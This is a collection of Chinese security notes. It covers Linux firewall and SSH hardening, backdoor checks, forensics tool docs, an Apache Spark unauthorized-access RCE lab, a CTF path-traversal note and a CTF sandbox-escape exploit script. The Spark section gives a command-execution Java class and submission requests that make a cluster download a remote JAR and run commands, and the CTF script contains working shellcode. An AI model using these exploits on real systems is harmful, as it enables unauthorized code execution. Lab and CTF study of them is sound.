--add-source=1.1.1.1 firewall-cmd --reload # 重启防火墙服务 ``` 在上面的配置中,如果有人尝试从 1.1.1.1 去 ssh,这个请求将会成功,因为这个源区域(internal)被首先应用,并且它允许 ssh 访问. 如果有人尝试从其它的地址,如 2.2.2.2,去访问 ssh,它不是这个源区域的,因为和这个源区域不匹配.因此,这个请求被直接转到接口区域(public),它没有显式处理 ssh,因为,public 的目标是 default,这个请求被传递到默认动作,它将被拒绝. 如果 1.1.1.1 尝试进行 http 访问会怎样?源区域(internal)不允许它,但是,目标是 default,因此,请求将传递到接口区域(public),它被允许访问. 现在,让我们假设有人从 3.3.3.3 拖你的网站.要限制从那个 IP 的访问,简单地增加它到预定义的 drop 区域,正如其名,它将丢弃所有的连接: ```bash firewall-cmd --permanent --zone=drop --add-source=3.3.3.3 firewall-cmd --reload ``` 下一次 3.3.3.3 尝试去访问你的网站,firewalld 将转发请求到源区域(drop).因为目标是 DROP,请求将被拒绝,并且它不会被转发到接口区域(public). `注:配置了 firewalld 服务后一定要去检查下规则,因为他不会阻掉正在进行的连接,只能阻掉配置命令后进行的连接,所以你不知道你的ssh会话会不会一断就再也连不上了,血的教训🤣` --- ### iptable **查询表中的规则** ```bash iptables -t raw -L # 列出所有 raw 表中的所有规则 iptables -t mangle -L # 列出 mangle 表中所有规则 iptables -t nat -L # 列出 nat 表中所有规则 iptables -t filter -L # 列出 filter 表中所有规则 ``` **查看不同的链中的规则** ```bash iptables -L INPUT # 只看 filter 表中(默认 - t 是 filter 表)input 链的规则 iptables -vL INPUT # 只看 filter 表中(默认 - t 是 filter 表)input 链的规则详情 iptables -nvL INPUT # 只看 filter 表中(默认 - t 是 filter 表)input 链的规则详情,同时不对 IP 地址进行名称反解析,直接显示 IP iptables --line-number -nvL INPUT # 只看 filter 表中(默认 - t 是 filter 表)input 链的规则详情,同时不对 IP 地址进行名称反解析,直接显示 IP,每行加行标 ``` --- ### nftables **查看规则汇总** ```bash nft list tables [<family>] nft list table [<family>] <name> [-n] [-a] nft list tables # 列出所有表 nft list table family table # 列出指定表中的所有链和规则 nft list table inet filter # 要列出inet簇中f nft list chain family table chain # 列出一个链中的所有规则 nft list chain inet filter output # 要列出inet中filter表的output链中的所有规则 ``` **nft表管理** ```bash nft add table family table # 创建一个新的表 nft list tables # 列出所有表 nft list table family table # 列出指定表中的所有链和规则 nft list table inet filter # 要列出inet簇中filter表中的所有规则 nft delete table family table # 删除一个表 nft flush table family table # 要清空一个表中的所有规则 ``` **nft链管理** ```bash nft add chain family table chain # 将名为chain的常规链添加到名为table的表中 nft add chain inet filter tcpchain # 例如,将名为tcpchain的常规链添加到inet簇中名为filter的表中 nft add chain family table chain { type type hook hook priority priority \; } # 添加基本链,需要指定钩子和优先级值 nft list chain family table chain # 列出一个链中的所有规则 nft list chain inet filter output # 要列出inet中filter表的output链中的所有规则 nft chain family table chain { [ type type hook hook device device priority priority \; policy <policy> \; ] } # 要编辑一个链,只需按名称调用并定义要更改的规则 nft chain inet filter input { policy drop \; } # 将默认表中的input链策略从accept更改为drop nft delete chain family table chain # 删除一个链,要删除的链不能包含任何规则或者跳转目标。 nft flush chain family table chain # 清空一个链的规则 ``` **添加规则** ```bash nft add rule family table chain handle handle statement # 将一条规则添加到链中 nft insert rule family table chain handle handle statement # 将规则插入到指定位置,如果未指定handle,则规则插入到链的开头。 ``` **删除规则** ```bash # 下面命令确定一个规则的句柄,然后删除。--number参数用于查看数字输出,如未解析的IP地址。 nft --handle --numeric list chain inet filter input nft delete rule inet fltrTable input handle 10 # 可以用nft flush table命令清空表中的所有的链。可以用nft flush chain或者nft delete rule命令清空单个链。 # 第一个命令清空foo表中的所有链。第二个命令清空ip foo表中的bar链。第三个命令删除ip6 foo表bar两种的所有规则。 nft flush table foo nft flush chain foo bar nft delete rule ip6 foo bar ``` **自动重载** ```bash 清空当前规则集: # echo "flush ruleset" > /tmp/nftables 导出当前规则集: # nft list ruleset >> /tmp/nftables 可以直接修改/tmp/nftables文件,使更改生效则运行: # nft -f /tmp/nftables ``` --- ### 禁ping **临时性,重启后失效** ```bash echo 0 >/proc/sys/net/ipv4/icmp_echo_ignore_all # 允许 ping echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all # 禁止 ping ``` **长期性** ```bash vim /etc/rc.d/rc.local echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all ``` 或 ```bash vim /etc/sysctl.conf net.ipv4.icmp_echo_ignore_all=1 ``` `sysctl -p` 使新配置生效 --- ### SSH **文章** - [Multiple Ways to Secure SSH Port](http://www.hackingarticles.in/multiple-ways-to-secure-ssh-port/) **查** - **查询可以远程登录的帐号信息** ```bash awk '/\$1|\$6/{print $1}' /etc/shadow ``` - **查看尝试暴力破解机器密码的人** ```bash # Debian 系的发行版 grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more # Red Hat 系的发行版 grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more ``` - **查看暴力猜用户名的人** ```bash # Debian 系的发行版 grep "Failed password for invalid user" /var/log/auth.log | awk '{print $13}' | sort | uniq -c | sort -nr | more # Red Hat 系的发行版 grep "Failed password for invalid user" /var/log/secure | awk '{print $13}' | sort | uniq -c | sort -nr | more grep "Failed password" /var/log/secure | awk {'print $9'} | sort | uniq -c | sort -nr grep -o "Failed password" /var/log/secure|uniq -c ``` - **IP 信息** ```bash # Debian 系的发行版 grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more # Red Hat 系的发行版 grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more ``` - **登录成功** ```bash # Debian 系的发行版 grep "Accepted " /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more # Red Hat 系的发行版 grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}' ``` - **私钥** ```bash ll -al /etc/ssh/ ll -al /root/.ssh/ ``` **防** - **ping 钥匙** - [使用 ping 钥匙临时开启 SSH:22 端口,实现远程安全 SSH 登录管理就这么简单](https://www.cnblogs.com/martinzhang/p/5348769.html) ```bash # 规则1 只接受Data为1078字节的ping包,并将源IP记录到自定义名为sshKeyList的列表中 iptables -A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 1078 -m recent --name sshKeyList --set -j ACCEPT # 规则2 若30秒内发送次数达到6次(及更高),当发起SSH:22新连接请求时拒绝 iptables -A INPUT -p tcp -m tcp --dport 22 --syn -m recent --name sshKeyList --rcheck --seconds 30 --hitcount 6 -j DROP # 规则3 若30秒内发送次数达到5次,当发起SSH:22新连接请求时放行 iptables -A INPUT -p tcp -m tcp --dport 22 --syn -m recent --name sshKeyList --rcheck --seconds 30 --hitcount 5 -j ACCEPT # 规则4 对于已建立的连接放行 iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT # 规则5 老规矩:最后的拒绝 iptables -A INPUT -j DROP ``` - **更改默认端口** 修改 `/etc/ssh/sshd_config` 文件,将其中的 Port 22 改为指定的端口 `!!! 警告,记得防火墙要先放行端口,不然你的远程主机就连不上了🤣!!!` ``` service ssh restart ``` - **配置使用 RSA 私钥登录** 1. 先生成你的客户端的密钥,包括一个私钥和公钥 ```bash ssh-keygen -t rsa ``` 2. 把公钥拷贝到服务器上,注意,生成私钥的时候,文件名是可以自定义的,且可以再加一层密码,所以建议文件名取自己能识别出哪台机器的名字. ```bash cd /root/.ssh scp id_rsa.pub root@XX.XX.XX.XX:~/ ``` 3. 然后在服务器上,你的用户目录下,新建 `.ssh` 文件夹,并将该文件夹的权限设为 700 ```bash cd mkdir .ssh chmod 700 .ssh ``` 4. 新建一个 authorized_keys,这是默认允许的 key 存储的文件.如果已经存在,则只需要将上传的 id_rsa.pub 文件内容追加进去即可,如果不存在则新建并改权限为 400 即可. 然后编辑 ssh 的配置文件 ```bash mv id_rsa.pub .ssh cd .ssh cat id_rsa.pub >> authorized_keys chmod 600 authorized_keys ``` ```bash vim /etc/ssh/sshd_config RSAAuthentication yes # RSA 认证 PubkeyAuthentication yes # 开启公钥验证 AuthorizedKeysFile /root/.ssh/authorized_keys # 验证文件路径 PasswordAuthentication no # 禁止密码登录 ``` `service sshd restart` 重启 sshd 服务 5. 测试使用私钥登录 ```bash ssh root@x.x.x.x -i id_rsa ``` - **禁止 root 用户登录** 可以建一个用户来专门管理,而非直接使用 root 用户,修改 /etc/ssh/sshd_config ```vim vim /etc/ssh/sshd_config PermitRootLogin no ``` - **使用 Fail2ban** - [fail2ban](https://github.com/fail2ban/fail2ban) ,详细搭建步骤请移步 [Power-Linux](./Power-Linux.md##Fail2ban) - **SSH 陷阱** - [skeeto/endlessh](https://github.com/skeeto/endlessh) - 蓝队 SSH 陷阱 --- ### 文件共享 **NFS服务** 配置文件 ``` /etc/exports ``` **TFTP服务** 配置文件 ``` /etc/default/tftpd-hpa /etc/xinetd.d/tftp ``` **samba服务** 配置文件 ``` /etc/samba/smb.conf ``` --- ## 加固 ### 查后门 **相关文章** - [linux常见backdoor及排查技术](https://xz.aliyun.com/t/4090) **添加 root 权限后门用户** 检查 `/etc/passwd` 文件是否有异常 **vim 后门** 检测对应 vim 进程号虚拟目录的 map 文件是否有 python 字眼. 查看连接情况 `netstat -antlp` 例如发现 vim pid 为 12 ``` file /proc/12/exe more /proc/12/cmdline more /proc/12/maps | grep python ``` **strace 记录** 通过排查 shell 的配置文件或者 `alias` 命令即可发现,例如 `~/.bashrc` 和 `~/.bash_profile` 文件查看是否有恶意的 alias 问题. **定时任务和开机启动项** 一般通过 `crontab -l` 命令即可检测到定时任务后门.不同的 linux 发行版可能查看开机启动项的文件不大相同,Debian 系 linux 系统一般是通过查看 `/etc/init.d` 目录有无最近修改和异常的开机启动项.而 Redhat 系的 linux 系统一般是查看 `/etc/rc.d/init.d` 或者 `/etc/systemd/system` 等目录. **预加载型动态链接库后门 ld.so.preload** 通过 `strace` 命令去跟踪预加载的文件是否为 `/etc/ld.so.preload` ,以及文件中是否有异常的动态链接库.以及检查是否设置 LD_PRELOAD 环境变量等.注意:在进行应急响应的时候有可能系统命令被替换或者关键系统函数被劫持(例如通过预加载型动态链接库后门),导致系统命令执行不正常,这个时候可以下载 busybox.下载编译好的对应平台版本的 busybox,或者下载源码进行编译通过U盘拷贝到系统上,因为 busybox 是静态编译的,不依赖于系统的动态链接库,busybox 的使用类似如下 busybox ls,busybox ps -a. **内核级 rootkit** 可以通过 unhide 等工具进行排查,更多内容见 [应急](../../Security/BlueTeam/应急.md#rootkit) **深信服 Web 后门扫描** http://edr.sangfor.com.cn/backdoor_detection.html --- ### 杀毒 **[ClamavNet](https://www.clamav.net/downloads)** --- ### 配置 pam.d 策略 - [pam](./实验/pam.md) - [认证](./笔记/认证.md#pam)
sec-knowleage
# Apache Spark 未授权访问漏洞 Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。 参考链接: - https://weibo.com/ttarticle/p/show?id=2309404187794313453016 - https://xz.aliyun.com/t/2490 ## 漏洞环境 执行如下命令,将以standalone模式启动一个Apache Spark集群,集群里有一个master与一个slave: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`即可看到master的管理页面,访问`http://your-ip:8081`即可看到slave的管理页面。 ## 漏洞利用 该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。 提交方式有两种: 1. 利用REST API 2. 利用submissions网关(集成在7077端口中) 应用可以是Java或Python,就是一个最简单的类,如(参考链接1): ```java import java.io.BufferedReader; import java.io.InputStreamReader; public class Exploit { public static void main(String[] args) throws Exception { String[] cmds = args[0].split(","); for (String cmd : cmds) { System.out.println(cmd); System.out.println(executeCommand(cmd.trim())); System.out.println("=============================================="); } } // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/ private static String executeCommand(String command) { StringBuilder output = new StringBuilder(); try { Process p = Runtime.getRuntime().exec(command); p.waitFor(); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } } catch (Exception e) { e.printStackTrace(); } return output.toString(); } } ``` 将其编译成JAR,放在任意一个HTTP或FTP上,如`https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar`。 ### 用REST API方式提交应用 standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API: ``` POST /v1/submissions/create HTTP/1.1 Host: your-ip:6066 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/json Connection: close Content-Length: 680 { "action": "CreateSubmissionRequest", "clientSparkVersion": "2.3.1", "appArgs": [ "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf" ], "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "Exploit", "sparkProperties": { "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar", "spark.driver.supervise": "false", "spark.app.name": "Exploit", "spark.eventLog.enabled": "true", "spark.submit.deployMode": "cluster", "spark.master": "spark://your-ip:6066" } } ``` 其中,`spark.jars`即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。 ![](1.png) 返回的包中有submissionId,然后访问`http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout`,即可查看执行结果: ![](2.png) 注意,提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认8081端口)。实战中,由于slave可能有多个。 ### 利用submissions网关 如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。 方法是利用Apache Spark自带的脚本`bin/spark-submit`: ``` bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id ``` 如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。 查看结果的方式与前面一致。
sec-knowleage
--- title: bulk-extractor categories: Forensics Tools tags: [forensics,kali linux,bulk-extractor] date: 2017-09-07 09:22:00 --- 0x00 介绍 ------------- bulk_extractor是从数字证据文件中提取诸如电子邮件地址,信用卡号,URL和其他类型的信息的功能的程序。 它是一个有用的取证调查工具,可以用于许多任务,如恶意软件和入侵调查,身份调查和网络调查,以及图像分析和密码破解。 该程序提供了几个不寻常的功能: 1.发现其他工具发现不了的信息,如电子邮件地址,URL和信用卡号码,得益于它能处理压缩数据(如ZIP,PDF和GZIP文件)以及不完整或部分损坏的数据。 它可以从压缩数据的片段中提取JPEG文件,办公文档和其他类型的文件 ,还可以自动检测并提取加密的RAR文件。 2.根据数据中发现的所有单词构建单词列表,甚至可以是在未分配空间的压缩文件中的数据。 这些单词列表可用于密码破解。 3.多线程的; 速度快节约时间 4.分析完之后创建直方图,显示电子邮件地址,URL,域名,搜索关键词和其他类型的信息。 bulk_extractor可以对磁盘映像,文件或文件目录进行分析,并在不分析文件系统或文件系统结构的情况下提取有用的信息。 输入被分割成页面并由一个或多个扫描器处理。 结果存储在特征文件中,可以使用其他自动化工具轻松检查,解析或处理。 bulk_extractor还创建了它所发现的特征的直方图。 这样非常有用,因为诸如电子邮件地址和网络搜索关键词的功能往往很常见且重要。 除了上述功能之外,bulk_extractor还包括以下功能: 5.具有浏览特征文件中存储的功能以及启动bulk_extractor扫描的图形用户界面的Bulk Extractor Viewer 6.少量用于对特征文件进行额外分析的python程序 <!--more--> 来源:[http://digitalcorpora.org/downloads/bulk_extractor/BEUsersManual.pdf][1] [主页][2] | [仓库][3] - 作者:Simson L. Garfinkel - 证书:GPLv2 0x01 功能 ---------------- bulk_extractor - 在不解析文件系统的情况下提取信息。 ```plain bulk_extractor version 1.6.0-dev 用法:bulk_extractor [选项] 文件 运行bulk_extractor并提取摘要信息并输出到文件 必需参数: imagefile - 要提取的文件 或者-R filedir - 遍历目录下的文件 支持E01文件 支持AFF文件 -o outdir - 指定输出目录,目录不得已存在 bulk_extractor将创建此目录 选项: -i - 信息模式。快速分析随机取样的样本并打印报告 -b banner.txt - 将banner.txt内容添加到每个输出文件的头部 -r alert_list.txt - 包含提醒作业的警报列表的文件 (可以是特征文件或全局列表) (可以重复) -w stop_list.txt - 包含功能停止列表的文件(白名单) (可以是特征文件或全局列表) (可以重复) -F <rfile> - 从<rfile>读取正则表达式列表以查找 -f <regex> - 查找出现的<regex>;可能重复。 结果存入find.txt -q nn - 静默的模式;只输出nn级别的状态报告。默认值0; -1,没有状态输出 -s frac [:passes] - 设置随机抽样参数 调整参数: -C NN - 指定上下文窗口的大小(默认值为16) -S fr:<name>:window = NN - 指定录像机到NN的上下文窗口 -S fr:<name>:window_before = NN - 指定之前的上下文窗口到NN为记录器 -S fr:<name>:window_after = NN - 指定后缀到NN后的上下文窗口 -G NN - 指定页面大小(默认16777216) -g NN - 指定余量(默认4194304) -j NN - 要运行的分析线程数(默认4) -M nn - 设置最大递归深度(默认7) -m <max> - 所有数据读取后等待的最大分钟数(默认60) 路径处理模式: -p <path> / f - 以给定的格式打印<path>的值。 格式:r = 源格式; h = 十六进制格式。 指定-p - 进行交互模式 指定-p -http为HTTP模式 并行化: -Y <o1> - 在o1开始处理(o1可以是1,1K,1M或1G) -Y <o1> - <o2> - 处理o1-o2 -A <off> - 将<off>添加到所有报告的特征偏移 调试: -h - 打印此消息 -H - 打印扫描仪的详细信息 -V - 打印版本号 -z nn - 从第nn页开始 -dN - 调试模式(参见源代码) -Z - 清除输出目录 扫描控制: -P <dir> - 指定一个插件目录 默认目录包括/usr/local/lib/bulk_extractor,/usr/lib/bulk_extractor和 BE_PATH环境变量 -e <scanner> 启用扫描器 - -e all 全部启用 -x <scanner> 禁用扫描器 - -x all 全部禁用 -E <scanner> - 关闭除指定扫描器以外的所有扫描器 (与-x all -e <scanner>效果一样) 注意:-e,-x和-E命令按顺序执行 例如:'-E gzip -e facebook'只运行gzip和facebook -S name = value - 将批量提取器选项名称设置为值 可设置选项(及其默认值): -S work_start_work_end = YES 在report.xml文件中记录每个扫描器的工作开始和结束时间 -S enable_histograms = YES 禁用生成直方图 -S debug_histogram_malloc_fail_frequency = 0 设置大于零记录内存分配失败直方图 -S hash_alg = md5 指定用于所有哈希计算的哈希算法 -S dup_data_alerts =NO 重复数据未处理时通知 -S write_feature_files = YES 写入特征文件 -S write_feature_sqlite3 = NO 将特征文件写入report.sqlite3 -S report_read_errors = YES 报告读取错误 -S carve_net_memory = NO 提取网络内存结构(net) -S word_min = 6 最小字大小(wordlist) -S word_max = 14 最大字大小(wordlist) -S max_word_outfile_size = 100000000 输出文件的最大大小(wordlist) -S wordlist_use_flatfiles = YES 覆盖SQL设置并对wordlist(wordlist)使用flatfiles -S ssn_mode = 0 0=正常格式; 1=不需要SSN; 2=去掉破折号(accts) -S min_phone_digits = 7 手机所需的数字(accts) -S exif_debug = 0 读取exif信息(exif) -S jpeg_carve_mode = 1 0=不提取; 1=雕刻编码提取; 2=全部提取(exif) -S min_jpeg_size = 1000 将被雕刻的最小的JPEG流(exif) -S zip_min_uncompr_size = 6 ZIP未压缩对象的最小大小(zip) -S zip_max_uncompr_size = 268435456 ZIP未压缩对象的最大大小(zip) -S zip_name_len_max = 1024 ZIP组件的最大名称filename(zip) -S unzip_carve_mode = 1 0=不提取; 1=雕刻编码提取; 2=全部提取(zip) -S rar_find_components = YES 搜索RAR组件(rar) -S rar_find_volumes = YES 搜索RAR卷(rar) -S unrar_carve_mode = 1 0=不提取; 1=雕刻编码提取; 2=全部提取(rar) -S gzip_max_uncompr_size = 268435456 解压缩GZIP对象的最大大小(gzip) -S pdf_dump = NO 转储PDF缓冲区的内容(pdf) -S pdf_dump = NO 转储PDF缓冲区的内容(msxml) -S winpe_carve_mode = 1 0=不提取; 1=雕刻编码提取; 2=全部提取(winpe) -S opt_weird_file_size = 157286400 FAT32扫描(windir)的阈值 -S opt_weird_file_size2 = 536870912 FAT32扫描(windir)的阈值 -S opt_weird_cluster_count = 67108864 FAT32扫描(windir)的阈值 -S opt_weird_cluster_count2 = 268435456 FAT32扫描(windir)的阈值 -S opt_max_bits_in_attrib = 3 忽略更多属性设置的FAT32条目(windirs) -S opt_max_weird_count = 2 忽略奇怪的FAT32条目(windirs) -S opt_last_year = 2022 忽略晚于此FAT32条目(windirs) -S xor_mask = 255 设置XOR掩码值,十进制格式(xor) -S sqlite_carve_mode = 2 0=不提取; 1=雕刻编码提取; 2=全部提取(sqlite) 以下扫描默认禁用;启用使用-e命令: -e base16 - 启用扫描base16 -e facebook - 启用扫描facebook -e outlook - 启用扫描outlook -e sceadan - 启用扫描sceadan -e wordlist - 启用扫描wordlist -e xor - 启用扫描xor 以下扫描默认启用;禁用使用-x命令: -x accts - 禁用扫描程序 -x aes - 禁用扫描aes -x base64 - 禁用扫描base64 -x elf - 禁用扫描elf -x mail - 禁用扫描邮件 -x exif - 禁用扫描exif -x find - 禁用扫描发现 -x gps - 禁用扫描gps -x gzip - 禁用扫描gzip -x hiberfile- 禁用扫描hiberfile -x httplogs - 禁用扫描httplogs -x json - 禁用扫描json -x kml - 禁用扫描kml -x msxml - 禁用扫描msxml -x net - 禁用扫描net -x pdf - 禁用扫描pdf -x rar - 禁用扫描rar -x sqlite - 禁用扫描sqlite -x vcard - 禁用扫描vcard -x windirs - 禁用扫描windirs -x winlnk - 禁用扫描winlnk -x winpe - 禁用扫描winpe -x zip - 禁用扫描zip -x winprefetch - 禁用扫描winprefetch ``` 0x02 示例 --------- 分析映像文件后,将结果导出到输出目录(-o bulk-out)(xp-laptop-2005-07-04-1430.img): ```plain root@kali:~# bulk_extractor -o bulk-out xp-laptop-2005-07-04-1430.img bulk_extractor version 1.6.0-dev Hostname: kali Input file: xp-laptop-2005-07-04-1430.img Output directory: bulk-out Disk Size: 536715264 Threads: 1 Phase 1. 13:02:46 Offset 0MB (0.00%) Done in n/a at 13:02:45 13:03:39 Offset 67MB (12.50%) Done in 0:06:14 at 13:09:53 13:04:43 Offset 134MB (25.01%) Done in 0:05:50 at 13:10:33 13:04:55 Offset 201MB (37.51%) Done in 0:03:36 at 13:08:31 13:06:01 Offset 268MB (50.01%) Done in 0:03:15 at 13:09:16 13:06:48 Offset 335MB (62.52%) Done in 0:02:25 at 13:09:13 13:07:04 Offset 402MB (75.02%) Done in 0:01:25 at 13:08:29 13:07:20 Offset 469MB (87.53%) Done in 0:00:39 at 13:07:59 All Data is Read; waiting for threads to finish... Time elapsed waiting for 1 thread to finish: (please wait for another 60 min .) Time elapsed waiting for 1 thread to finish: 6 sec (please wait for another 59 min 54 sec.) Thread 0: Processing 520093696 Time elapsed waiting for 1 thread to finish: 12 sec (please wait for another 59 min 48 sec.) Thread 0: Processing 520093696 Time elapsed waiting for 1 thread to finish: 18 sec (please wait for another 59 min 42 sec.) Thread 0: Processing 520093696 Time elapsed waiting for 1 thread to finish: 24 sec (please wait for another 59 min 36 sec.) Thread 0: Processing 520093696 Time elapsed waiting for 1 thread to finish: 30 sec (please wait for another 59 min 30 sec.) Thread 0: Processing 520093696 All Threads Finished! Producer time spent waiting: 335.984 sec. Average consumer time spent waiting: 0.143353 sec. ******************************************* ** bulk_extractor is probably CPU bound. ** ** Run on a computer with more cores ** ** to get better performance. ** ******************************************* Phase 2. Shutting down scanners Phase 3. Creating Histograms ccn histogram... ccn_track2 histogram... domain histogram... email histogram... ether histogram... find histogram... ip histogram... tcp histogram... telephone histogram... url histogram... url microsoft-live... url services... url facebook-address... url facebook-id... url searches... Elapsed time: 378.5 sec. Overall performance: 1.418 MBytes/sec. Total email features found: 899 ``` [1]: http://digitalcorpora.org/downloads/bulk_extractor/BEUsersManual.pdf [2]: https://github.com/simsong/bulk_extractor/ [3]: http://git.kali.org/gitweb/?p=packages/bulk-extractor.git;a=summary
sec-knowleage
# TempImage - FLAG0 ## 0x00 Index ![](./imgs/index.jpg) ## 0x01 Upload ![](./imgs/upload.jpg) The image is successfully uploaded to the site. ``` http://127.0.0.1:5001/xxxxxxxxxx/files/d10c88f869301b1238f53cfdff8e9d7c_img.png ``` ## 0x02 Modify File Name Modify file name in Burp ``` Content-Disposition: form-data; name="filename" ../img.png ``` ## 0x03 Upload Error and FLAG ![](./imgs/flag.jpg)
sec-knowleage
bind === 显示或设置键盘按键与其相关的功能 ## 补充说明 **bind命令** 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合。 ### 语法 ```shell bind(选项) ``` ### 选项 ```shell -d:显示按键配置的内容; -f<按键配置文件>:载入指定的按键配置文件; -l:列出所有的功能; -m<按键配置>:指定按键配置; -q<功能>:显示指定功能的按键; -v:列出目前的按键配置与其功能。 ``` ### 实例 ```shell bind -x '"\C-l":ls -l' #直接按 CTRL+L 就列出目录 ``` 其中keyseq可以使用`showkey -a`命令来获取: ```shell showkey -a Press any keys - Ctrl-D will terminate this program ^[[A 27 0033 0x1b 上 91 0133 0x5b 65 0101 0x41 ^[[B 27 0033 0x1b 下 91 0133 0x5b 66 0102 0x42 ^[[D 27 0033 0x1b 左 91 0133 0x5b 68 0104 0x44 ^[[C 27 0033 0x1b 右 91 0133 0x5b 67 0103 0x43 32 0040 0x20 ^M 13 0015 0x0d 字母M ^C 3 0003 0x03 Ctrl-C ^D 4 0004 0x04 Ctrl-D 退出 ```
sec-knowleage
pr === 将文本文件转换成适合打印的格式 ## 补充说明 **pr命令** 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题。 ### 语法 ```shell pr(选项)(参数) ``` ### 选项 ```shell -e<制表符[宽度]>(--expand-tabs=<制表符[宽度]>):将制表符(或制表符)转换为空格.如果指定了宽度,则将制表符转换为宽度字符,默认为8; -h<标题>:为页指定标题; -i<out-tab-char[out-tab-width>(--output-tabs<out-tab-char[out-tab-width]>):在输出中用制表符替换空格,可以指定替代制表符(默认为制表符)和宽度(默认为8); -l<行数>:指定每页的行数; -n<分隔符[数字]>:对列进行编号,或者使用 -m 选项对行进行编号,将分隔符附加到每个数字默认为制表符并限制数字的大小,默认为5; -o<宽度>:为左边距设置宽度; -s<分隔符>(--separator<分隔符>):使用指定的分隔符(默认为制表符)而不是空格分隔列; -S<字符串>(--sep-string<字符串>):使用指定的字符串(默认为-J的制表符)或者是一个空格分隔列; -w<页面宽度>:设置页面宽度以进行多列输出,默认为72; -W<页面宽度>:设置页面宽度为固定值,默认为72; -J(--join-lines):合并整行,忽略 -W 如果设置; -num_cols:num_cols是一个整数,为一页有n行的文件打印指定num_cols列; -m(--merge):打印所有文件,每列一个文件。 -f(-F)(--form-feed):用换页符替代换行符; -r(--no-file-warnings):无法打开输入文件时静默; -t:限制页眉,页脚与页尾的填充; -T(--omit-pagination):类似于-t,但也限制换页; -v(--show-non-printing):将不可打印的字符转换为八进制反斜杠格式; -d:双倍行距; -a(--across):交错打印,即水平打印,而非纵向打印; -c(--show-control-chars):将控制字符转换为帽子符号(例如 ^C),将其他不可打印的字符转换为八进制反斜杠格式; --help:打印帮助信息并退出; --version:打印版本信息并退出. ``` ### 参数 文件:需要转换格式的文件。
sec-knowleage
#!/usr/bin/python2 from pwn import * def exploit(connection): marker = "deadbeef" stage1 = """ entry: mov esp, 0xbef00000 sub esp, 0x200 std push 0 push 0xdead0000 + hijack_64 - entry mov edi, 2 /* __NR_open */ lea esi, [esp + 8] /* path */ xor eax, eax /* mov eax, 0xfffff000 */ dec eax shl eax, 12 push eax ret hijack_64: """ stage2 = """ hijack_64: movabs rax, 0x10000001e /* address of kernel subroutine in kernelland entry page */ mov rbp, [rax] sub rbp, 0x760 /* move back to syscall@plt */ /* open(pathname, O_RDONLY) */ mov rdi, __NR_open lea rsi, [rip + pathname] mov rdx, O_RDONLY call syscall_gadget /* read(rax, rsp, 0x100) */ mov rdi, __NR_read mov rsi, rax mov rdx, rsp mov rcx, 0x100 call syscall_gadget /* write(1, rsp, rax) */ mov rdi, __NR_write mov rsi, 1 mov rdx, rsp mov rcx, 0x100 /* fall-through */ syscall_gadget: push rbp ret pathname: .asciz "flag" """ connection.recvuntil("[*] gimme some x86 32-bit code!\n") connection.send(asm(stage1, arch = "i386")) connection.send(asm(stage2, arch = "amd64")) connection.send(marker) connection.recvuntil("[*] let\'s go...\n") flag = connection.recvuntil("}") info("flag = \"%s\"", flag) context.log_level = "debug" with remote("sandbox-compat.ctfcompetition.com", 1337) as connection: exploit(connection)
sec-knowleage
